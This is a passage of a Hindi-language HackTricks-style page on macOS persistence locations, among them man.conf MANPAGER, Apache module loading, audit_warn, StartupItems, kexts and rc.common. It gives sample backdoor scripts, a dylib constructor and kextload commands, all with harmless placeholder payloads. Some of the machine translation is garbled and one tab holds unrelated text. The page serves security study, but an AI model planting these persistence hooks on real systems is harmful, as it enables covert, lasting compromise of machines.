  • रूट की आवश्यकता है
  • /private/etc/man.conf: जबकि man का उपयोग किया जाता है

विवरण और एक्सप्लॉइट

कॉन्फ़िग फ़ाइल /private/etc/man.conf इसका संकेत देती है कि मैन दस्तावेज़ फ़ाइलें खोलने के लिए कौन सा बाइनरी/स्क्रिप्ट उपयोग करना है। इसलिए एक्सीक्यूटेबल का पथ संशोधित किया जा सकता है ताकि हर बार जब उपयोगकर्ता किसी डॉक्स पढ़ने के लिए man का उपयोग करता है, एक बैकडोर निष्पादित हो।

उदाहरण के लिए /private/etc/man.conf में सेट करें:

MANPAGER /tmp/view

और फिर /tmp/view को इस प्रकार बनाएं:

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

लेख: https://theevilbit.github.io/beyond/beyond_0023/

  • सैंडबॉक्स को बाईपास करने के लिए उपयोगी: 🟠
  • लेकिन आपको रूट होना चाहिए और एपाचे चालू होना चाहिए
  • TCC बाईपास: 🔴
  • Httpd को entitlements नहीं हैं

स्थान

  • /etc/apache2/httpd.conf
  • रूट की आवश्यकता
  • ट्रिगर: जब Apache2 शुरू होता है

विवरण और उत्पीड़न

आप /etc/apache2/httpd.conf में इंडिकेट कर सकते हैं कि एक मॉड्यूल लोड करने के लिए एक पंक्ति जोड़ें जैसे:

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"

{% endcode %}

इस तरह आपके संकलित मॉड्यूल Apache द्वारा लोड किए जाएंगे। एकमात्र बात यह है कि आपको इसे एक मान्य Apple प्रमाणपत्र के साथ साइन करने की आवश्यकता है, या फिर आपको सिस्टम में एक नया विश्वसनीय प्रमाणपत्र जोड़ने और उसके साथ साइन करने की आवश्यकता है।

फिर, यदि आवश्यक हो, सर्वर को शुरू होने की सुनिश्चित करने के लिए आपको निम्नलिखित को निष्पादित करना होगा:

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

डीवाईएलबी के लिए कोड उदाहरण:

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

BSM ऑडिट फ्रेमवर्क

लेख: https://theevilbit.github.io/beyond/beyond_0031/

  • सैंडबॉक्स को छलने के लिए उपयोगी: 🟠
  • लेकिन आपको रूट होना चाहिए, auditd चल रहा होना चाहिए और चेतावनी का कारण होना चाहिए
  • TCC छलांग: 🔴

स्थान

  • /etc/security/audit_warn
  • रूट की आवश्यकता
  • ट्रिगर: जब auditd एक चेतावनी का पता लगाता है

विवरण और शोषण

जबकि auditd एक चेतावनी का पता लगाता है, तो स्क्रिप्ट /etc/security/audit_warn क्रियान्वित होती है। इसलिए आप इस पर अपने पेलोड जोड़ सकते हैं।

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

स्टार्टअप आइटम्स

{% hint style="danger" %} यह पुराना हो गया है, इसलिए इन निर्देशिकाओं में कुछ भी नहीं मिलना चाहिए। {% endhint %}

StartupItem एक निर्दिष्ट निर्देशिका है जो या तो /Library/StartupItems/ या /System/Library/StartupItems/ के भीतर स्थित होना चाहिए। एक बार जब यह निर्देशिका स्थापित होती है, तो इसमें दो विशिष्ट फ़ाइलें होनी चाहिए:

  1. एक rc स्क्रिप्ट: स्टार्टअप पर निष्पादित एक शैल स्क्रिप्ट।
  2. एक plist फ़ाइल, विशेष रूप से StartupParameters.plist नामक, जिसमें विभिन्न कॉन्फ़िगरेशन सेटिंग्स होती हैं।

सुनिश्चित करें कि एरसी स्क्रिप्ट और StartupParameters.plist फ़ाइल दोनों सही ढंग से StartupItem निर्देशिका के भीतर स्थापित हैं ताकि स्टार्टअप प्रक्रिया उन्हें पहचान और उपयोग कर सके।

{% tabs %} {% tab title="StartupParameters.plist" %}

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>

{% endtab %}

{% tab title="superservicename" %}हार्डवेयर और सॉफ्टवेयर वेंडर्स अपने सेवाओं को ऑटोमेटिक रूप से चालू करने के लिए विभिन्न तकनीकों का उपयोग करते हैं। इन तकनीकों में शामिल हैं लॉग-इन आइटम, लॉन्च एजेंट, डेमन्स, और अन्य ऑटोस्टार्ट लोकेशन्स। इन ऑटोस्टार्ट लोकेशन्स का उपयोग सेवाओं को स्वचालित रूप से चालू करने के लिए किया जाता है, जिससे उपयोगकर्ताओं को सेवाओं का उपयोग करने में आसानी होती है। %}

#!/bin/sh
. /etc/rc.common

StartService(){
touch /tmp/superservicestarted
}

StopService(){
rm /tmp/superservicestarted
}

RestartService(){
echo "Restarting"
}

RunService "$1"

{% endtab %} {% endtabs %}

emond

{% hint style="danger" %} मैं अपने macOS में इस कॉम्पोनेंट को नहीं ढूंढ पा रहा हूँ, इसके लिए अधिक जानकारी के लिए व्रिटअप देखें {% endhint %}

Writeup: https://theevilbit.github.io/beyond/beyond_0023/

Apple द्वारा पेश किया गया, emond एक लॉगिंग मेकेनिज़्म है जो अधूरा या संभावित तौर पर छोड़ दिया गया लगता है, फिर भी यह पहुंचने योग्य है। एक Mac प्रशासक के लिए विशेष रूप से फायदेमंद न होने के बावजूद, यह अप्रसिद्ध सेवा एक सूक्ष्म स्थिरता विधि के रूप में काम कर सकती है जो धमाकेदार कलाकारों के लिए सेवानिवृत्ति के रूप में काम कर सकती है, जिसे अधिकांश macOS प्रशासक शायद न देखें।

इसके अस्तित्व के जानकार लोगों के लिए, emond का किसी भी दुरुपयोग की पहचान सीधी है। इस सेवा के लिए सिस्टम का LaunchDaemon एकल निर्देशिका में निष्पादित करने के लिए स्क्रिप्ट खोजता है। इसे जांचने के लिए, निम्नलिखित कमांड का उपयोग किया जा सकता है:

ls -l /private/var/db/emondClients

XQuartz

Writeup: https://theevilbit.github.io/beyond/beyond_0018/

स्थान

  • /opt/X11/etc/X11/xinit/privileged_startx.d
  • रूट की आवश्यकता
  • ट्रिगर: XQuartz के साथ

विवरण और उत्पीड़न

XQuartz अब macOS में स्थापित नहीं है, इसलिए अधिक जानकारी के लिए व्राइटअप देखें.

kext

{% hint style="danger" %} केक्स्ट को इंस्टॉल करना इतना जटिल है कि मैं इसे सैंडबॉक्स से बाहर निकलने या स्थिरता के लिए नहीं मानता (जब तक आपके पास कोई एक्सप्लॉइट नहीं है) {% endhint %}

स्थान

केक्स्ट को स्टार्टअप आइटम के रूप में इंस्टॉल करने के लिए, इसे निम्नलिखित स्थानों में इंस्टॉल किया जाना चाहिए:

  • /System/Library/Extensions
  • ओएस एक्स ऑपरेटिंग सिस्टम में बिल्ट केक्स्ट फ़ाइलें।
  • /Library/Extensions
  • तीसरे पक्ष सॉफ़्टवेयर द्वारा इंस्टॉल की गई केक्स्ट फ़ाइलें

आप वर्तमान में लोड केक्स्ट फ़ाइलों की सूची नीचे दिए गए कमांड के साथ देख सकते हैं:

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

amstoold

लिखावट: https://theevilbit.github.io/beyond/beyond_0029/

स्थान

  • /usr/local/bin/amstoold
  • रूट की आवश्यकता है

विवरण और शोषण

जैसा कि प्रतीत होता है, /System/Library/LaunchAgents/com.apple.amstoold.plist से plist इस बाइनरी का उपयोग कर रहा था जबकि एक XPC सेवा को उजागर कर रहा था... बात यह है कि बाइनरी मौजूद नहीं थी, इसलिए आप कुछ वहाँ रख सकते थे और जब XPC सेवा को कॉल किया जाता है तो आपकी बाइनरी को कॉल किया जाएगा।

मुझे अब अपने macOS में इसे नहीं मिल रहा है।

xsanctl

लिखावट: https://theevilbit.github.io/beyond/beyond_0015/

स्थान

  • /Library/Preferences/Xsan/.xsanrc
  • रूट की आवश्यकता है
  • ट्रिगर: जब सेवा चलाई जाती है (कम होता है)

विवरण और शोषण

ऐसा लगता है कि इस स्क्रिप्ट को चलाना बहुत आम नहीं है और मुझे अपने macOS में यह भी नहीं मिला, इसलिए अगर आप अधिक जानकारी चाहते हैं तो लिखावट देखें।

/etc/rc.common

{% hint style="danger" %} यह आधुनिक MacOS संस्करणों में काम नहीं कर रहा है {% endhint %}

यहाँ ऐसे कमांड रखना भी संभव है जो स्टार्टअप पर निष्पादित किए जाएंगे। साधारण rc.common स्क्रिप्ट का उदाहरण:

#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test

if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local     pid=""

if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi

if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}

#
# Generic action handler
#
RunService ()
{
case $1 in
start  ) StartService   ;;
stop   ) StopService    ;;
restart) RestartService ;;
*      ) echo "$0: unknown argument: $1";;
esac
}

Persistence techniques and tools

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: